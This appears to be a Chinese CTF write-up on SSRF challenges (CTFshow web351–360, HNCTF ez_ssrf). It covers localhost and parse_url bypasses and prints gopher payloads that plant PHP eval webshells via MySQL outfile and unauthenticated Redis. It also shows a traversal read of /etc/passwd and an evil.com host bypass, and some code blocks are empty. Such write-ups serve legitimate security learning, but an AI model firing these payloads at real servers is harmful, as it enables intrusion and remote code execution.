SSRF-CTFshow
SSRF web351-web360
写在前面:ssrf常见的一些函数
1 | curl_init():初始curl会话 |
web351
web352
web353
parse_url()解析请求包的参数,返回数组,scheme是请求包的协议
127.1会被解析成127.0.0.1,也就意味着为零可缺省
在Linux中,0也会被解析成127.0.0.1
127.0.0.0/8是一个环回地址网都表示localhost
ip地址还可以通过表示成其他进制的形式访问,IP地址二进制、十进制、十六进制互换
web354
web355
这题限制了http://[host]/[path]
host部分长度小于5
1 |
|
web356
host长度要小于3
1 |
|
web357
web358
1 |
|
这段代码使用了正则表达式来定义条件,具体条件如下:
^
:表示匹配字符串的开始位置。http://ctf\.
:表示以 “http://ctf.” 开头。其中,.
是正则表达式中的特殊字符,需要使用\
进行转义。.*
:表示匹配任意字符(除换行符外)的零个或多个实例。show$
:表示以 “show” 结尾。/i
:表示不区分大小写。
综合起来,这个正则表达式的意思是判断给定的 URL 是否以 “http://ctf.” 开头,以 “show” 结尾,并且不区分大小写。
如果传入的 URL 满足上述条件,就会执行 echo file_get_contents($url);
的代码,使用 file_get_contents()
函数获取该 URL 的内容,并将其输出到页面上
想要做的输出flag.php无法作到在flag.PHP后面直接加show,加一个传参的形式即可
url=http://ctf.@127.0.0.1/flag.php?show
web359
用到工具利用gopher协议无密码注入mysql,使用Gopherus工具构造payload
python gopherus.py –exploit mysql
- 选择构建mysql的payload
- 设置用户名,默认root
- sql注入,写入shell,这里使用了into outfile新建shell并写入
- 得到payload
登陆界面找到一个隐藏的攻击点,对其进行SSRF攻击
将生成的gopher链接作为returl的参数,因为_
后面的内容或经过两次url提交,所以需要再urlencode一次:(记得只编码下划线后面的,否则容易出错)
1 | gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%20%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%61%5d%29%3b%3f%3e%27%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%27%3b%01%00%00%00%01 |
select ‘‘into outfile ‘/var/www/html/cmd.php’;
web360
ssrf打Redis
写webshell
写ssh公钥
写contrab计划反弹shell
主从复制
这个题目上一题差不多,上一题打MySQL这一题打Redis
什么是Redis未授权访问?
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器
简单说,漏洞的产生条件有以下两点:redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
没有设置密码认证(一般为空),可以免密码远程登录redis服务
若出现报错,则说明存在redis服务
用工具做
1 | gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A |
补充
###其他绕过127的方法
1.如果目标代码限制访问的域名只能为 http://www.xxx.com,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://www.xxx.com@www.evil.com http://www.evil.com/
2.http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,如访问:http://127.0.0.1.xip.io/flag.php时,实际访问的是http://127.0.0.1/1.php 像这样的网址还有 http://nip.io,http://sslip.io
3.短网址目前基本都需要登录使用,如缩我,https://4m.cn/
4.各种指向127.0.0.1的地址:
1 | http://localhost/ # localhost就是代指127.0.0.1 |
利用不存在的协议头绕过指定的协议头
file_get_contents()函数的一个特性,即当PHP的file_get_contents()函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)
1 | // ssrf.php |
上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:
1 | httpsssss:// |
此时file_get_contents()函数遇到了不认识的伪协议头“httpsssss://”,就会将他当做文件夹,然后再配合目录穿越即可读取文件:
1 | ssrf.php?url=httpsssss://../../../../../../etc/passwd |
###URL解析差异
1.readfile和parse_user函数解析差异绕过指定端口
1 |
|
上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过
1 | ssrf.php |
可以成功读取11211端口flag.txt文件,原理如下图
两个函数解析host也存在差异
2.利用curl和parse_url的解析差异绕过指定host
Gopher协议
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP 70端口
Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面
Gopher协议格式
1 | URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流 |
注意不要忘记后面那个下划线”“,下划线”“后面才开始接TCP数据流,如果不加这个”_”,那么服务端收到的消息将不是完整的,该字符可随意写。
如果发起POST请求,回车换行需要使用%0d%0a来代替%0a,如果多个参数,参数之间的&也需要进行URL编码
利用Gopher协议发送HTTP请求步骤
在gopher协议中发送HTTP的数据,需要以下三步:
1 | 1.抓取或构造HTTP数据包 |
注意这几个问题:
问号(?)需要转码为URL编码,也就是%3f
回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
[HNCTF 2022 WEEK2]ez_ssrf
1 |
|
这段代码接受通过 GET 请求传递的参数,并使用 fsockopen()
函数建立与指定主机和端口的 socket 连接。然后,它将传入的 base64 编码的数据解码,并将数据写入到连接的 socket 中。接下来,在循环中,它从连接中读取返回的响应数据,并将其输出到浏览器。
请注意,这段代码存在一些安全风险:
- 没有对输入参数进行任何验证和过滤。这可能导致安全漏洞,如远程命令执行和代码注入攻击,请务必加以验证和过滤用户输入。
- 关闭
error_reporting
,这会隐藏任何可能的错误信息,使得调试和错误处理变得困难,建议在开发和测试阶段启用错误报告以及适当的错误处理。
建议对该代码进行改进和增强,以提高安全性和代码可靠性。
** fsockopen()
函数是用于建立一个 socket 连接。该函数的参数包括:
$host
:要连接的主机名或 IP 地址。intval($port)
:要连接的端口号,其中intval()
函数将端口号转换为整数。$error
:一个传入参数,用于获取错误代码(如果有错误发生)。$errstr
:一个传入参数,用于获取错误描述信息(如果有错误发生)。30
:超时时间,以秒为单位。****
题解
首先本地构造一个文件,让他跳转到127.0.0.1,用来伪造请求
1 | <?php |
我要将这一段信息通过fwrite写进我们的会话中的,这些就是请求头
1 | GET / HTTP/1.1 |
手写一个127.0.0.1的请求头格式,base64编码一下就好
1 | playload:?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg== |